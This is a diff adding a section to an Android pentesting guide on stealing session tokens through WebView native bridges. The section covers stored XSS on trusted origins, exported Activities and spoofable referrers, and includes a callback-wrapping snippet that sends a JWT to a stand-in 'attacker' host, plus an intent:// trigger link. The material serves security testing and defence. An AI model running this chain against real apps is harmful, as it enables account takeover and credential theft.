diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
index 5245b2b7524..cf1b9c80477 100644
--- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
+++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
@@ -521,6 +521,64 @@ Related
 
 
 
+
+## Trusted-origin HTML/CRM content → bridge credential theft
+
+A strict host allowlist on a WebView is **not enough** if the trusted origin itself renders attacker-influenceable HTML such as CRM banners, loyalty widgets, support chat content, or feature-flagged marketing fragments. A practical chain is:
+
+1. An attacker can write a profile/CRM field using a public customer identifier or another weak authorization primitive.
+2. A first-party page requests banner/template JSON containing that field.
+3. The SDK renders the returned HTML with a sink such as `innerHTML`, `outerHTML`, or `insertAdjacentHTML`.
+4. The resulting stored XSS executes on the trusted origin already allowed to use the native bridge.
+5. JavaScript invokes a bridge action that returns a session credential.
+
+Minimal sink pattern:
+
+```javascript
+const banner = JSON.parse(resp)
+container.innerHTML = banner.html
+```
+
+Hunting tips:
+- Trace **attacker-writable profile fields** into banners, campaigns, dashboards, previews, and in-app loyalty content.
+- Check whether the backend/API authorizes profile reads or writes using a **public identifier** leaked in invite links, API responses, analytics calls, or app resources.
+- Remember that **JSON escaping is not HTML escaping**: after `JSON.parse`, `<img src=x onerror=...>` is live markup again.
+
+### Callback wrapping to steal credential-returning bridge results
+
+Many bridges return data to the page through a global callback such as `window.callWebView(...)`. If a bridge action returns a **JWT/session token** (`refresh_jwt`, `getToken`, `getSession`, etc.), preserve normal app behaviour by wrapping the callback, extracting the sensitive field, and then calling the original handler:
+
+```javascript
+const orig = window.callWebView;
+window.callWebView = function (m) {
+  const d = typeof m === 'string' ? JSON.parse(m) : m;
+  if (d.action === 'refresh_jwt' && d.payload?.data)
+    new Image().src = 'https://attacker/j?t=' + encodeURIComponent(d.payload.data);
+  return orig.apply(this, arguments);
+};
+window.Android.postMessage(JSON.stringify({ action: 'refresh_jwt', payload: { old_jwt: '' } }));
+```
+
+`new Image().src` is a reliable exfiltration primitive because it only needs the browser/WebView to issue the request; it does **not** need response access.
+
+### Exported bridge-enabled Activities: scheme-only checks and `getReferrer()` are not auth
+
+If an exported `VIEW`/`BROWSABLE` Activity forwards `url=` (or similar extras) into `loadUrl()` while the bridge stays attached, **scheme-only validation is insufficient**: the attacker still controls the host and path. `Activity.getReferrer()` is also a weak guard for privileged WebViews. Android documents that `getReferrer()` returns `Intent.EXTRA_REFERRER` when present and explicitly warns that **applications can spoof it**.
+
+Browser-delivered trigger example:
+
+```html
+<a href="intent://webdialog?url=https%3A%2F%2Ftrusted.example%2Frewards%3Fbanner%3Dweekly#Intent;scheme=app;package=com.victim;end">
+  Open reward
+</a>
+```
+
+Practical notes:
+- Validate **scheme + exact host** before calling `loadUrl()`, not just the scheme.
+- Re-check trust after redirects/navigation and remove the bridge when leaving trusted origins.
+- To confirm token exfiltration really came from the in-app WebView, inspect the request for a `; wv` WebView user-agent marker, the app package in `X-Requested-With`, and the expected first-party `Referer`.
+
+
 ## References
 
 - [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
@@ -535,6 +593,9 @@ Related
 - [Account takeover in Android app via JSB – tuxplorer.com](https://tuxplorer.com/posts/account-takeover-via-jsb/)
 - [LSPosed – systemless Xposed framework](https://github.com/LSPosed/LSPosed)
 - [Frida codeshare: Cordova – enable WebView debugging](http://codeshare.frida.re/@gameFace22/cordova---enable-webview-debugging/)
+- [From a “Hey, {name} 👋” Banner to Full Account Takeover: Chaining Four Bugs Through a Rewards WebView](https://medium.com/@bag0zathev2/from-a-hey-name-banner-to-full-account-takeover-chaining-4-bugs-through-a-rewards-webview-f89a2b0f830f)
+- [Android `Activity.getReferrer()` reference](https://developer.android.com/reference/android/app/Activity#getReferrer())
+- [Android `Intent.EXTRA_REFERRER` reference](https://developer.android.com/reference/android/content/Intent#EXTRA_REFERRER)
 
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